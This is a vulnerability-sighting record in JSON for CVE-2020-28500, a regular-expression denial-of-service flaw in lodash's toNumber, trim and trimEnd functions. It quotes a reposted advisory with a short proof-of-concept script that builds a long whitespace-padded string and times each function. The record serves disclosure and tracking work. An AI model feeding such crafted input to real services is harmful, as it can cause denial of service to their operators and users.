{"vulnerability": "CVE-2020-28500", "sightings": [{"uuid": "57a01837-1118-44eb-88b2-dd162b8e03ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-28500", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/23586", "content": "\u203c CVE-2020-28500 \u203c\n\nAll versions of package lodash; all versions of package org.fujion.webjars:lodash are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions. Steps to reproduce (provided by reporter Liyuan Chen): var lo = require('lodash'); function build_blank (n) { var ret = \"1\" for (var i = 0; i < n; i++) { ret += \" \" } return ret + \"1\"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log(\"time_cost0: \" + time_cost0) var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log(\"time_cost1: \" + time_cost1) var time2 = Date.now(); lo.trimEnd(s) var time_cost2 = Date.now() - time2; console.log(\"time_cost2: \" + time_cost2)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-02-15T14:46:33.000000Z"}]}